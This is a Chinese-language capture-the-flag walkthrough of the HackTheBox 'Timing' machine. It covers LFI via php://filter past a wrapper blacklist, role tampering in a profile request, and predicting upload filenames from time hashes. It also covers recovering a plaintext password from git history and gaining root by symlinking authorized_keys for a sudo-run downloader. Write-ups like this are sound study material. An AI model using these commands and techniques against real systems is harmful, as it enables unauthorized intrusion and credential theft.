Timing

信息收集

发现目标主机开放了ssh和web服务
在这里插入图片描述
访问web页面时,发现是个表单登录页面
在这里插入图片描述
尝试一下是否存在弱口令,虽然hackthebox不太可能,但是还得走这流程。很显然,弱口令是不存在的
在这里插入图片描述
然后我们扫一下目录吧,看看有什么新发现,发现存在一个images目录和image.php文件

ffuf -u http://10.10.11.135/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -e .php -fc 403

在这里插入图片描述
访问image.php文件时,发现是个空内容啥也没有。访问image目录时,显示403
在这里插入图片描述
在这里插入图片描述
感觉可以再进行进一步的fuzz,发现存在一个uploads目录,但是无法访问
在这里插入图片描述
那我们可以尝试fuzz一下image.php的一些参数值,fuzz出很多的值,但是访问基本也是空。初步判断可能参数错了
在这里插入图片描述
那我们再换另一个参数试试
在这里插入图片描述
这边是可以读取到一个字符串的
在这里插入图片描述
依照内容提示,我们应该是遇到WAF了。那接下来我们就得绕过这个WAF,读取我们想要读取到的内容

漏洞利用

通过参考github上面大佬的总结,我们可以使用php数据流读取的形式进行读取文件的相应内容,这是参考链接https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter
在这里插入图片描述
我们对字符串进行base64解密,得到的内容如下。表示可以成功读取到文件内容
在这里插入图片描述
我们读取到image.php的内容如下,存在黑名单过滤

<?php

function is_safe_include($text)
{
    $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

    foreach ($blacklist as $item) {
        if (strpos($text, $item) !== false) {
            return false;
        }
    }
    return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
    if (is_safe_include($_GET['img'])) {
        include($_GET['img']);
    } else {
        echo "Hacking attempt detected!";
    }
}

我们读取到upload.php内容如下

<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

可以看到存在一个admin_auth_check.php文件,我们尝试读取一下其内容

<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>

很明显,根据代码的逻辑,我们要想使用上传功能,就必须拥有role1的权限,想到这里可能是要越权操作。我们很幸运可以使用aaron:aaron的账户密码登录成功。我们获取到的是一个user2的权限
在这里插入图片描述
然后我们进行进一步的越权操作,我们点击Edit profile,然后抓包分析,放包时发现似乎并没有role的权限
在这里插入图片描述
那我们可以自己添加一个role权限值,然后放包刷新,发现role值发生了改变
在这里插入图片描述
刷新页面后,发现存在一个上传点
在这里插入图片描述
接着我们先把时间改为GMT,命令为

cp /usr/share/zoneinfo/GMT /etc/localtime

在这里插入图片描述
然后我们上传图片马后,先抓个包,然后再输入php -a,输入的命令如下,主要是循环一个变量,先打印时间,然后打印文件的md5值,最后换行和休眠一秒

while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .time());echo "\n";sleep(1);}

执行这个命令后我们立刻放包,然后停止循环,逐个尝试后,最后得出可以得到用户的用户名
在这里插入图片描述
那么我们可以依照这个方法,获取我们的shell终端。因为这台机器有防火墙,所以我们得先看看/opt目录下都有哪些文件,只有一个源码zip文件
在这里插入图片描述
我们可以先把它复制到/var/www/html/images/uploads/这个目录上
在这里插入图片描述
然后我们使用curl命令进行下载

curl 'http://10.10.11.135/image.php?img=images/uploads/source-files-backup.zip' --output source-files-backup.zip

在这里插入图片描述
然后我们解压看看里面都存在哪些内容
在这里插入图片描述
解压后我们发现存在一个.git目录
在这里插入图片描述
我们使用GitToolsextractor.sh脚本看看都存在哪些内容。进入source文件夹内,发现多了两个目录

./extractor.sh . source

在这里插入图片描述
我们使用diff命令发现存在数据库密码

diff 0-e4e214696159a25c69812571c8214d2bf8736a3f 1-16de2698b5b122c93461298eab730d00273bd83e

在这里插入图片描述
我们分别使用这两个密码尝试登录,发现S3cr3t_unGu3ss4bl3_p422w0Rd这个密码可以成功登陆aaron账户
在这里插入图片描述

提权

输入sudo -l后发现一个程序netutils可以无密码以root权限运行
在这里插入图片描述
发现直接运行并不能成功,查看一下文件类型,发现是一个脚本文件,类型为jar文件。并且运行时提示了两个选项,一个是FTP,另一个是HTTP
在这里插入图片描述
我们在本地开启一个HTTP服务,并尝试能否成功下载,发现可以成功下载我物理机的文件
在这里插入图片描述
并且权限还是root权限,那这就好办了
在这里插入图片描述
首先我们对root账户下的.ssh文件创建一个链接

ln -s /root/.ssh/authorized_keys keys

在这里插入图片描述

然后我们本地生成一个ssh密钥,并将其改名为keys(这一步一定要做,不改名无法连接密钥)
在这里插入图片描述
然后开放http服务,运行netutils程序,选择HTTP选项,将公钥下载到靶机上
在这里插入图片描述
最后在物理机上连接root用户
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值